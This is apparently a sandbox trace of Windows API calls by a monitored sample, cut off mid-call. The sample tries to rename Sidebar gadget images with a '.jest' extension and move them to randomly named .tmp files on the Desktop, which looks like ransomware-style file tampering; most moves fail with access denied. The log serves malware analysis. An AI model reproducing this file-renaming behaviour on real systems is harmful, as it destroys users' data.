0x11520ca [0126.415] GetTickCount () returned 0x11520ca [0126.415] GetTickCount () returned 0x11520ca [0126.415] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.415] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.415] GetTickCount () returned 0x11520ca [0126.415] IsWindowVisible (hWnd=0x30268) returned 0 [0126.415] Sleep (dwMilliseconds=0x0) [0126.416] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\drag.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\drag.png.jest")) returned 0 [0126.416] GetLastError () returned 0x5 [0126.416] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥摜慲⹧湰g") returned 0x47 [0126.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=71, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0126.416] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥摜慲⹧湰g") returned 0x47 [0126.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=72, lpWideCharStr=0x144ddec, cchWideChar=143 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png") returned 72 [0126.416] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥摜慲⹧湰⹧敪瑳") returned 0x4c [0126.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0126.416] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥摜慲⹧湰⹧敪瑳") returned 0x4c [0126.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=77, lpWideCharStr=0x1467bd4, cchWideChar=153 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png.jest") returned 77 [0126.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png", lpUsedDefaultChar=0x0) returned 72 [0126.416] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png", lpFilePart=0x18e6d8*="drag.png") returned 0x47 [0126.416] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbcdf03, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcbcdf03, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb6510fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x57, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 0x143ce48 [0126.416] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.417] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.417] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x127)) [0126.418] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x127)) [0126.418] GetUserDefaultLCID () returned 0x409 [0126.418] VarBstrFromR4 (in: fltIn=0x47944526, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.3") returned 0x0 [0126.418] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.418] GetTickCount () returned 0x11520da [0126.418] GetTickCount () returned 0x11520da [0126.418] GetTickCount () returned 0x11520da [0126.418] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.418] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.418] GetTickCount () returned 0x11520da [0126.419] IsWindowVisible (hWnd=0x30268) returned 0 [0126.419] Sleep (dwMilliseconds=0x0) [0126.419] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.419] GetFullPathNameA (in: lpFileName="UwNjM_lvvXCvY4qFGztjzfUBv2RQ5rD19X7YY9fgGHTFxoL9IfPbEQcoDIMUZurnJ9CdYfGtsOVnm0tiGYbPGGrJBRzNlYx EzE58.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UwNjM_lvvXCvY4qFGztjzfUBv2RQ5rD19X7YY9fgGHTFxoL9IfPbEQcoDIMUZurnJ9CdYfGtsOVnm0tiGYbPGGrJBRzNlYx EzE58.tmp", lpFilePart=0x18e708*="UwNjM_lvvXCvY4qFGztjzfUBv2RQ5rD19X7YY9fgGHTFxoL9IfPbEQcoDIMUZurnJ9CdYfGtsOVnm0tiGYbPGGrJBRzNlYx EzE58.tmp") returned 0x8f [0126.419] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png", lpFilePart=0x18e708*="drag.png") returned 0x47 [0126.419] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\drag.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UwNjM_lvvXCvY4qFGztjzfUBv2RQ5rD19X7YY9fgGHTFxoL9IfPbEQcoDIMUZurnJ9CdYfGtsOVnm0tiGYbPGGrJBRzNlYx EzE58.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uwnjm_lvvxcvy4qfgztjzfubv2rq5rd19x7yy9fgghtfxol9ifpbeqcodimuzurnj9cdyfgtsovnm0tigybpggrjbrznlyx eze58.tmp")) returned 0 [0126.419] GetLastError () returned 0x5 [0126.419] GetLastError () returned 0x5 [0126.419] SetLastError (dwErrCode=0x5) [0126.419] GetLastError () returned 0x5 [0126.420] SetLastError (dwErrCode=0x5) [0126.420] GetLastError () returned 0x5 [0126.420] SetLastError (dwErrCode=0x5) [0126.420] GetFullPathNameA (in: lpFileName="UwNjM_lvvXCvY4qFGztjzfUBv2RQ5rD19X7YY9fgGHTFxoL9IfPbEQcoDIMUZurnJ9CdYfGtsOVnm0tiGYbPGGrJBRzNlYx EzE58.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UwNjM_lvvXCvY4qFGztjzfUBv2RQ5rD19X7YY9fgGHTFxoL9IfPbEQcoDIMUZurnJ9CdYfGtsOVnm0tiGYbPGGrJBRzNlYx EzE58.tmp", lpFilePart=0x18e6e4*="UwNjM_lvvXCvY4qFGztjzfUBv2RQ5rD19X7YY9fgGHTFxoL9IfPbEQcoDIMUZurnJ9CdYfGtsOVnm0tiGYbPGGrJBRzNlYx EzE58.tmp") returned 0x8f [0126.420] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UwNjM_lvvXCvY4qFGztjzfUBv2RQ5rD19X7YY9fgGHTFxoL9IfPbEQcoDIMUZurnJ9CdYfGtsOVnm0tiGYbPGGrJBRzNlYx EzE58.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6a4e7755, cFileName="M_lvvXCvY4qFGztjzfUBv2RQ5rD19X7YY9fgGHTFxoL9IfPbEQcoDIMUZurnJ9CdYfGtsOVnm0tiGYbPGGrJBRzNlYx EzE58.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.420] GetLastError () returned 0x2 [0126.420] GetLastError () returned 0x2 [0126.420] SetLastError (dwErrCode=0x2) [0126.421] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.421] GetLastError () returned 0x0 [0126.421] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.422] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.423] GetLastError () returned 0x0 [0126.423] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.423] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.423] GetLastError () returned 0x0 [0126.423] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.424] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ō", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.424] GetLastError () returned 0x0 [0126.424] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.424] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.424] GetTickCount () returned 0x11520da [0126.424] GetTickCount () returned 0x11520da [0126.424] GetTickCount () returned 0x11520da [0126.424] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.424] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.424] GetTickCount () returned 0x11520da [0126.424] IsWindowVisible (hWnd=0x30268) returned 0 [0126.424] Sleep (dwMilliseconds=0x0) [0126.425] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\icon.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\icon.png.jest")) returned 0 [0126.425] GetLastError () returned 0x5 [0126.425] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥楜潣⹮湰g") returned 0x47 [0126.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=71, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0126.425] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥楜潣⹮湰g") returned 0x47 [0126.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=72, lpWideCharStr=0x1445ffc, cchWideChar=143 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png") returned 72 [0126.425] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥楜潣⹮湰⹧敪瑳") returned 0x4c [0126.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0126.425] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥楜潣⹮湰⹧敪瑳") returned 0x4c [0126.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=77, lpWideCharStr=0x14c2ea4, cchWideChar=153 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png.jest") returned 77 [0126.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png", lpUsedDefaultChar=0x0) returned 72 [0126.425] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png", lpFilePart=0x18e6d8*="icon.png") returned 0x47 [0126.425] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb67725c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbb67725c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbb67725c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1ae9, dwReserved0=0x57, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 0x143ce48 [0126.426] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.426] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.426] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x127)) [0126.426] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x127)) [0126.426] GetUserDefaultLCID () returned 0x409 [0126.426] VarBstrFromR4 (in: fltIn=0x47944526, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.3") returned 0x0 [0126.427] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.427] GetTickCount () returned 0x11520da [0126.427] GetTickCount () returned 0x11520da [0126.427] GetTickCount () returned 0x11520da [0126.427] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.427] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.427] GetTickCount () returned 0x11520da [0126.427] IsWindowVisible (hWnd=0x30268) returned 0 [0126.427] Sleep (dwMilliseconds=0x0) [0126.427] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.428] GetFullPathNameA (in: lpFileName="5WMv0O6vyR4yCo0pEEvdiUn DJOET-J3FhQg X2Ux6w-MgNfAJIqLK8phZhIM1Yck0C3spe00sfhKzORO_BW2mU7i5kkCCi-8Z.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5WMv0O6vyR4yCo0pEEvdiUn DJOET-J3FhQg X2Ux6w-MgNfAJIqLK8phZhIM1Yck0C3spe00sfhKzORO_BW2mU7i5kkCCi-8Z.tmp", lpFilePart=0x18e708*="5WMv0O6vyR4yCo0pEEvdiUn DJOET-J3FhQg X2Ux6w-MgNfAJIqLK8phZhIM1Yck0C3spe00sfhKzORO_BW2mU7i5kkCCi-8Z.tmp") returned 0x8c [0126.428] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png", lpFilePart=0x18e708*="icon.png") returned 0x47 [0126.428] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\icon.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5WMv0O6vyR4yCo0pEEvdiUn DJOET-J3FhQg X2Ux6w-MgNfAJIqLK8phZhIM1Yck0C3spe00sfhKzORO_BW2mU7i5kkCCi-8Z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5wmv0o6vyr4yco0peevdiun djoet-j3fhqg x2ux6w-mgnfajiqlk8phzhim1yck0c3spe00sfhkzoro_bw2mu7i5kkcci-8z.tmp")) returned 0 [0126.428] GetLastError () returned 0x5 [0126.428] GetLastError () returned 0x5 [0126.428] SetLastError (dwErrCode=0x5) [0126.428] GetLastError () returned 0x5 [0126.428] SetLastError (dwErrCode=0x5) [0126.428] GetLastError () returned 0x5 [0126.428] SetLastError (dwErrCode=0x5) [0126.429] GetFullPathNameA (in: lpFileName="5WMv0O6vyR4yCo0pEEvdiUn DJOET-J3FhQg X2Ux6w-MgNfAJIqLK8phZhIM1Yck0C3spe00sfhKzORO_BW2mU7i5kkCCi-8Z.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5WMv0O6vyR4yCo0pEEvdiUn DJOET-J3FhQg X2Ux6w-MgNfAJIqLK8phZhIM1Yck0C3spe00sfhKzORO_BW2mU7i5kkCCi-8Z.tmp", lpFilePart=0x18e6e4*="5WMv0O6vyR4yCo0pEEvdiUn DJOET-J3FhQg X2Ux6w-MgNfAJIqLK8phZhIM1Yck0C3spe00sfhKzORO_BW2mU7i5kkCCi-8Z.tmp") returned 0x8c [0126.429] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5WMv0O6vyR4yCo0pEEvdiUn DJOET-J3FhQg X2Ux6w-MgNfAJIqLK8phZhIM1Yck0C3spe00sfhKzORO_BW2mU7i5kkCCi-8Z.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x764d5735, cFileName="0O6vyR4yCo0pEEvdiUn DJOET-J3FhQg X2Ux6w-MgNfAJIqLK8phZhIM1Yck0C3spe00sfhKzORO_BW2mU7i5kkCCi-8Z.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.429] GetLastError () returned 0x2 [0126.429] GetLastError () returned 0x2 [0126.429] SetLastError (dwErrCode=0x2) [0126.430] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.430] GetLastError () returned 0x0 [0126.430] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.430] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ţ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.430] GetLastError () returned 0x0 [0126.430] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.430] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.430] GetTickCount () returned 0x11520da [0126.430] GetTickCount () returned 0x11520da [0126.430] GetTickCount () returned 0x11520da [0126.430] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.430] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.430] GetTickCount () returned 0x11520da [0126.431] IsWindowVisible (hWnd=0x30268) returned 0 [0126.431] Sleep (dwMilliseconds=0x0) [0126.432] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\logo.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\logo.png.jest")) returned 0 [0126.432] GetLastError () returned 0x5 [0126.432] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴坜慥桴牥䜮摡敧屴潬潧瀮杮") returned 0x46 [0126.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=70, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0126.432] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴坜慥桴牥䜮摡敧屴潬潧瀮杮") returned 0x46 [0126.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=71, lpWideCharStr=0x144ddec, cchWideChar=141 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png") returned 71 [0126.432] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴坜慥桴牥䜮摡敧屴潬潧瀮杮樮獥t") returned 0x4b [0126.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=75, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0126.432] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴坜慥桴牥䜮摡敧屴潬潧瀮杮樮獥t") returned 0x4b [0126.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=76, lpWideCharStr=0x14c2ea4, cchWideChar=151 | out: lpWideCharStr="C:\\Program Files 